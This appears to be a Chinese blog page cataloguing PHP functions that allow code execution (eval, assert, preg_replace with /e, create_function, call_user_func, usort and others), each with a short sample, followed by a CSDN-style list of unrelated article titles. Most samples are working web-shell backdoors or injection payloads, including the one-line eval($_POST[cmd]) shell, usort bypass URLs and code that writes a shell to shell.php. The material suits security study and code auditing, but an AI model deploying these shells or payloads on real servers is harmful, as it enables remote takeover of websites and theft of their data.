精华内容
下载资源
问答
  • 常见代码执行函数

    千次阅读 2019-07-12 19:13:15
    常见代码执行函数,如 eval() assert() preg_replace() create_function() array_map() call_user_func() call_user_func_array() array_filter usort uasort() 文件操作函数 动态函数(a(a(a(b)) ...

    常见代码执行函数,如

    eval() assert()
    preg_replace() create_function()
    array_map() call_user_func()
    call_user_func_array() array_filter
    usort uasort()
    文件操作函数 动态函数(a(a(b))

    1、eval()

    eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

    2、assert()

    与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

    示例代码:

    <?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>

    3、preg_replace()

    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )

    搜索subject中匹配pattern的部分, 以replacement进行替换。

    preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

    示例代码:

    <?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>

    4、create_function()

    create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

    代码示例:

    <?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>

    参考链接:

    代码安全:PHP create_function()注入命令执行漏洞

    http://www.cnseay.com/1901/

    http://lovexm.blog.51cto.com/3567383/1743442

    http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

    5、array_map()

    array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

    代码示例:

    <?php
    //?func=system&cmd=whoami
    $func=$_GET['func'];
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    //print_r($new_array);
    ?>
    

    6、call_user_func()/call_user_func_array ()

    call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

    call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

    <?php 
    //?cmd=phpinfo()
    @call_user_func(assert,$_GET['cmd']);
    ?>
    
    <?php 
    //?cmd=phpinfo()
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
    ?>
    

    7、array_filter()

    array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

    依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

    <?php 
    //?func=system&cmd=whoami
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    ?>
    

    8、usort()、uasort()

    usort() 通过用户自定义的比较函数对数组进行排序。

    uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

    代码示例:

    php环境>=5.6才能用

    <?php usort(...$_GET);?>
    

    利用方式:
    test.php?1[]=1-1&1[]=eval($_POST[‘x’])&2=assert
    [POST]:x=phpinfo();

    php环境>=<5.6才能用

    <?php usort($_GET,'asse'.'rt');?>
    

    利用方式:
    test.php?1=1+1&2=eval($_POST[x])
    [POST]:x=phpinfo();
    复制代码
    源自:https://www.wd0g.com/?p=190

    https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

    9、文件操作函数

    file_put_contents() 函数把一个字符串写入文件中。

    fputs() 函数写入文件

    代码示例:

    <?php 
    $test='<?php eval($_POST[cmd]);?>';
    file_put_contents('test1.php',$test);
    ?>
    <?php 
    fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
    ?>
    

    10、动态函数

    PHP函数直接由字符串拼接

    代码示例:

    <?php 
    //?a=assert&b=phpinfo()
    $_GET['a']($_GET['b']);
    ?>
    
    展开全文
  • 常见代码英文词汇缩写

    千次阅读 2019-03-12 16:29:05
    title: 常见代码英文词汇缩写 key: 2018042310 tags: 英文 缩写 欢迎贡献!!! 全称 缩写 — — develop dev block blk — — memory mem allocate alloc utility util file descriptor fd ...

    欢迎贡献!!!

    全称 缩写
    develop dev
    block blk
    memory mem
    allocate alloc
    utility util
    file descriptor fd
    extent ext
    resource res
    event evt
    connect conn
    config cfg
    server srv
    address addr
    request req
    buffer buf
    response resp
    operation opt
    option opt
    project proj
    profession pro
    information info
    value val
    lenght len
    collection col
    array ary
    iterator itr
    source src
    include inc
    decline dec
    destination dst
    function func
    action act
    argument arg
    signal sig
    error of last number erron
    field field
    property props
    defines defs
    object obj
    system sys
    message msg
    document doc
    application app
    process proc
    dispatch disp
    internet inet
    context ctx
    receive recv
    number num
    directory dir
    dictionory dict
    protocol proto
    index idx
    modify mod
    delete del
    window wnd
    button btn
    table tbl
    label lbl
    Image img
    Sprite sp
    texture tex
    tween tw
    transform trans
    animation anim
    material mat
    vecter vec
    position pos
    delegate del
    callback cb
    compare cmp
    copy cpy
    second sec
    distro distro
    bak bak


    原文:
    https://lizijie.github.io/2018/04/23/%E5%B8%B8%E8%A7%81%E4%BB%A3%E7%A0%81%E8%8B%B1%E6%96%87%E8%AF%8D%E6%B1%87%E7%BC%A9%E5%86%99.html
    作者github:
    展开全文
  • 多个常见代码设计缺陷

    千次阅读 2013-03-30 01:41:33
    多个常见代码设计缺陷   0前言 在软件设计开发中,代码的设计都体现在:子系统与子系统、模块与模块、函数与函数之间的关系,设计越糟糕的软件,维护成本越高,质量也往往难以达标和称赞。 好的设计必定是:...
    多个常见代码设计缺陷
     
    0前言

    在软件设计开发中,代码的设计都体现在:子系统与子系统、模块与模块、函数与函数之间的关系,设计越糟糕的软件,维护成本越高,质量也往往难以达标和称赞。

    好的设计必定是:层次关系简洁、清晰、易维护和扩展的。

    不会研究太高深的设计,只总结出一些常见的代码设计缺陷,这些设计缺陷如能很好的解决和避免,相信代码能力(编写、设计、评审、重构)能提高一个档次。

    主要介绍下面15个常见代码设计缺陷:

     

    1复杂函数(Blob Operation)

    缺陷特征:指的是代码行多,分支嵌套深,变量多,参数多,注释多,复杂度高等特征的函数。

    缺陷影响:函数不易理解和维护,代码重复、冗余。

    解决方法:新开发代码时,函数都是越写越复杂的,应该要有意识地、积极地去分解提炼成小函数或独立功能的函数,甚至当感觉需要以注释来说明点什么的时候,这时其实就应该独立成一个函数。函数建议值:代码行24,if语嵌套深度6,圈复杂度10,功能应该单一。

     

    2数据泥团(Data Clumps)

    缺陷特征:函数的参数多且参数列表相似,反复调用相同的参数列表。

    缺陷影响:大量重复,影响编译的效率;参数多,很难理解和调用。

    解决方法:参数列表应该封装成结构。建议值:函数参数平均为2,避免5个以上。

    伪码示例:GetDate(int year,int month,int day,int time) -> GetDate(struct DateRange)。

     

    3不必要的耦合(Unnecessary Coupling)

    缺陷特征:包含某个头文件,但是却没有使用头文件中任何内容。

    缺陷影响:编译链接速度慢,耦合度高,头文件错误包含,如包含某个头文件却没有使用里面的内容,某个头文件却依赖某个dll,则会引起不必要的dll依赖和错误。

    解决方法:头文件不能乱包含,100%确认每个包含的头文件使用情况,删除不必要包含的头文件。

     

    4过度耦合(Intensiue Coupling)

    缺陷特征:一个函数调用大量其它模块的函数,却调用很少本模块的函数。

    缺陷影响:一个函数与多个函数(这些函数属于少数一两个类)联系过于紧密;一个类提供了很多函数给外部某个函数调用;耦合度高,类不够抽象。

    解决方法:识别内、外部模块函数,外部模块要足够抽象调用。

     

    5循环依赖(Cyclic Dependencies)

    缺陷特征:多个子系统处于一个环状互相依赖关系里面;函数的调用关系混乱、循环;文件直接或间接交叉引用。

    缺陷影响:不易理解和维护,编译慢,关系混乱,重用困难。

    解决方法:多文件或系统间要划分清楚结构、层次关系,应做到无环依赖。

    伪码示例:循环包含头文件,file A包含file B,而file B又包含了file A。

     

    6依恋情节(Feature Envy)

    缺陷特征:函数很少访问自己模块数据,总是访问外部模块数据;访问自己模块少,访问其它模块多;数据和操作不在同一模块;对其它类的数据比较感兴趣。

    缺陷影响:耦合度高。

    解决方法:同一模块的数据和操作应该放在一起。

     

    7重复代码(Repeat code)

    缺陷特征:不同模块或文件间有类似或重复功能的类;不同类间有类似或重复功能的函数;同一父类的子类间存在相似或重复功能的代码。

    缺陷影响:代码膨胀混乱,不易维护,本来维护一处代码由于重复代码要维护多处。

    解决方法:提炼重复代码。如工具函数封装成工具类,通用功能封装成公共库。

     

    8不稳定依赖(Unstable Dependencies)

    缺陷特征:一个子系统或模块依赖于另一个比它更不稳定的子系统或模块,如上层模块依赖于不稳定的底层模块,上层模块肯定会问题不断。

    缺陷影响:不独立,不稳定,牵一发而动全身。

    解决方法:当有依赖关系时,一定要先保证被依赖子系统或模块的稳定性。至少应保证不稳定的子系统要依赖稳定的子系统。

     

    9未利用的接口(Underutiliaed Interface)

    缺陷特征:设计并实现了很多接口,大部分未使用或只在内部使用;定义了很多全局变量,大部分其它模块未使用。

    缺陷影响:冗余,设计过度,暴露可视化。

    解决方法:按需设计接口,不需要对外公开的变量和函数应该私有化。

     

    10紊乱类(Schizophrenic Class)

    缺陷特征:一个类实现了多个不同的功能,如界面类又处理了业务相关的功能。

    缺陷影响:不易理解,耦合度高,公共方法太多。

    解决方法:对多个功能进行拆分。

     

    11复杂类(Blob Class)

    缺陷特征:规模非常庞大、复杂性高的类,常常包含多个复杂函数,有多重功能。

    缺陷影响:圈复杂度高,内聚性差,耦合度高,不易看懂和维护。

    解决方法:解决复杂函数,结构要清晰,类功能应该单一。建议值:类行数应在2000以内。

     

    12全能类(God Class)

    缺陷特征:一个类集中了多个不相关类的功能;一个类操作其它模块数据太多;大而复杂。

    缺陷影响:破坏了类的封装性,耦合度高,内聚性差,不易维护。

    解决方法:多个功能不相关的类应该分别封装成不同的类,适当搬移函数,解决复杂函数问题。

     

    13歪曲层次(Distorted Hierarchy)

    缺陷特征:类的继承关系比较深。

    缺陷影响:复杂度高,不易维护。

    解决方法:类的继承层次结构不应该超过6。

     

    14数据类(Data Class)

    缺陷特征:提供许多公共属性和函数,供很多其它类来操作,自己却很少操作。

    缺陷影响:非面向对象,缺乏封装性,不易维护。

    解决方法:封装性。

     

    15破坏继承(Tradition Breaker)

    缺陷特征:派生类几乎没有使用任何继承父类的功能,却增加了全新的功能。

    缺陷影响:非继承关系却继承,难理解,不易维护。

    解决方法:理清类与类之间的继承关系,不适合继承关系的类应该单独分开。

     

    16推荐2本相关书籍
                                                       
    展开全文
  • 常见代码命名规则

    万次阅读 2018-08-20 11:50:00
    几种常见的程序命名规则 正确并形象地给函数、变量命名,不仅可以增加程序的可读性,也是程序员编程风格的一种反映。较好的命名习惯,可以有效的提高程序的可维护性。以下介绍几种常用的变量命名规则。 一、匈牙利...

    几种常见的程序命名规则
    正确并形象地给函数、变量命名,不仅可以增加程序的可读性,也是程序员编程风格的一种反映。较好的命名习惯,可以有效的提高程序的可维护性。以下介绍几种常用的变量命名规则。
    一、匈牙利命名法:广泛应用于Microsoft Windows这类环境中。
    这种命名技术是由一位能干的 Microsoft 程序员查尔斯·西蒙尼(Charles Simonyi) 提出的。匈牙利命名法通过在变量名前面加上相应的小写字母的符号标识作为前缀,标识出变量的作用域,类型等。这些符号可以多个同时使用,顺序是先m_(成 员变 量),再指针,再简单数据类型,再其他。例如:m_lpszStr, 表示指向一个以0字符结尾的字符串的长指针成员变量。
    匈牙利命名法关键是:标识符的名字以一个或者多个小写字母开头作为前缀;前缀之后的是首字母大写的一个单词或多个单词组合,该单词要指明变量的用途。
    例如:bEnable, nLength, hWnd。
    匈牙利命名法中常用的小写字母的前缀:

    属性部分:
    g_ 全局变量
    c_  常量
    m_  c++类成员变量
    s_  静态变量
    类型部分:
    数组 a
    指针 p
    函数 fn
    无效 v
    句柄 h
    长整型 l
    布尔 b
    浮点型(有时也指文件) f
    双字  dw
    字符串  sz
    短整型  n
    双精度浮点 d
    计数 c(通常用cnt)
    字符 ch(通常用c)
    整型 i(通常用n)
    字节 by
    字 w
    实型 r
    无符号 u
    描述部分:
    最大 Max
    最小 Min
    初始化 Init
    临时变量 T(或Temp)
    源对象 Src
    目的对象 Dest

    二、驼峰命名法:近年来越来越流行。
    驼峰命名法,正如它的名称所表示的那样,指的是混合使用大小写字母来构成标识符的名字。其中第一个单词首字母小写,余下的单词首字母大写。
    例如:
    printEmployeePaychecks();
    函数名中每一个逻辑断点都有一个大写字母来标记。

    三、帕斯卡(Pascal)命名法:与驼峰命名法类似。
    只不过驼峰命名法是第一个单词首字母小写,而帕斯卡命名法则是第一个单词首字母大写。因此这种命名法也有人称之为“大驼峰命名法”。
    例如:
    DisplayInfo();
    UserName
    都是采用了帕斯卡命名法。
    在C#中,以帕斯卡命名法和骆驼命名法居多。
    事实上,很多程序设计者在实际命名时会将驼峰命名法和帕斯卡结合使用,例如变量名采用驼峰命名法,而函数采用帕斯卡命名法。

    四、下划线命名法。
    下划线法是随着C语言的出现流行起来的,在UNIX/LIUNX这样的环境,以及GNU代码中使用非常普遍。
    4.1 函数的命名
    函数名使用下划线分割小写字母的方式命名:
    设备名_操作名();

    操作名一般采用:谓语(此时设备名作为宾语或者标明操作所属的模块)或者谓语 宾语/表语(此时设备名作为主语或者标明操作所属的模块) 等形式,如:
    tic_init();
    adc_is_busy();
    uart_tx_char();

    中断函数的命名直接使用 设备名_isr() 的形式命名,如:
    timer2_isr();

    4.2 变量的命名
    变量的命名也采用下划线分割小写字母的方式命名。命名应当准确,不引起歧义,且长度适中。如:
    int length;
    uint32 test_offset;

    单字符的名字也是常用的,如i, j, k等,它们通常可用作函数内的局部变量。tmp常用做临时变量名。
    局部静态变量,应加s_词冠(表示static),如:
    static int s_lastw;

    全局变量(尤其是供外部访问的全局变量),应加g_词冠(表示global),如:
    void (* g_capture_hook)(void);

    4.3 常量及宏的命名
    采用下划线分割大写字母的方式命名,一般应以设备名作为前缀,
    防止模块间命名的重复。如:

    #define TIMER0_MODE_RELOAD 2
    #define TIMER2_COUNT_RETRIEVE(val) ((uint16)(65536 - (val)))

    当然,看作接口的宏可以按照函数的命名方法命名,例如:

    #define timer2_clear() (TF2 = 0)
    #define timer0_is_expired() (TF0)

    据考察,没有一种命名规则可以让所有的程序员赞同,程序设计教科书一般都不指定命名规则。命名规则对软件产品而言并不是“成败悠关”的事,我们不要化太多精力试图发明世界上最好的命名规则,而应当制定一种令大多数项目成员满意的命名规则,并在项目中贯彻实施。

    展开全文
  • UML中常见代码实现

    万次阅读 热门讨论 2016-10-02 22:42:44
    前言 ...在此之前我对面向对象的一些方法做过一些总结,感兴趣的读者可以参看《面向对象三大特性》《面向对象》,其中对构造函数等等做了一些解释,这在理解代码实现的时候很有帮助。 代...
  • 常见代码安全问题包括如下几类: 凭据管理 认证问题和会话管理 权限控制 加密问题 信息泄露 完整性保护 隐私保护 不正确输入校验 安全编译 检查方法:鼠标选中已打开的代码编辑文件、或者鼠标点击选中文件或...
  • 代码审查常见代码质量问题

    万次阅读 2016-09-30 10:41:22
    DLS问题指的是给本地变量赋了一个值,但随后的代码并没有用到这个值。       7.3、 Method call passes null for nonnull parameter   id:  NP_NULL_PARAM_DEREF,  type:  ...
  • 常见代码报错提示

    万次阅读 2017-05-08 14:31:24
    代码时,经常出现报错,但因为提示是应为,英文不好翻译出来结果又不准确很影响开发效率。下面是我遇到过的一些错误,希望能帮到大家。 1.Uncaught SyntaxError: Invalid or unexpected token 这个是指你的程序...
  • nodejs常见代码错误

    千次阅读 2015-04-08 15:05:59
    URL: ... ...测试代码:var mongoose = require(‘mongoose’); mongoose.connect(‘mongodb://localhost/test’); 执行代码,可以插入到mongodb中,只不过在控制台会报个警告: Failed t
  • JAVA常见代码优化技巧 ---面试总结

    千次阅读 多人点赞 2020-03-04 18:33:17
    代码优化,一个很重要的课题。 随着互联网技术的更新,越来越多的新技术的发明帮助我们更好的解决处理问题,当然面对已知的问题总是存在更好的解决方案。代码优化就好比建楼房,本来你只用十吨水泥完成的量,你却...
  • uni-app 常见代码

    千次阅读 2019-05-23 10:14:38
    1.uButton <button type="primary"></button> 2.uCheckbox <label class="checkbox"> <checkbox value="" checked= /> </label> 3.uList <...uni-lis...
  • 常见代码安全问题包括如下几类: 凭据管理 认证问题和会话管理 权限控制 加密问题 信息泄露 完整性保护 隐私保护 不正确输入校验 安全编译 检查方法:鼠标选中已打开的代码编辑文件、或者鼠标点击选中文件或...
  • Java常见代码块的作用与区别

    千次阅读 2018-01-23 19:42:14
    代码块中声明的变量的作用域只在这个 1. 局部代码块 作用在方法当中,作用是控制变量的生命周期: public void show(){ { System.out.println("局部代码块运行!"); } } 在程序中当我们定义完成...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 85,291
精华内容 34,116
关键字:

常见代码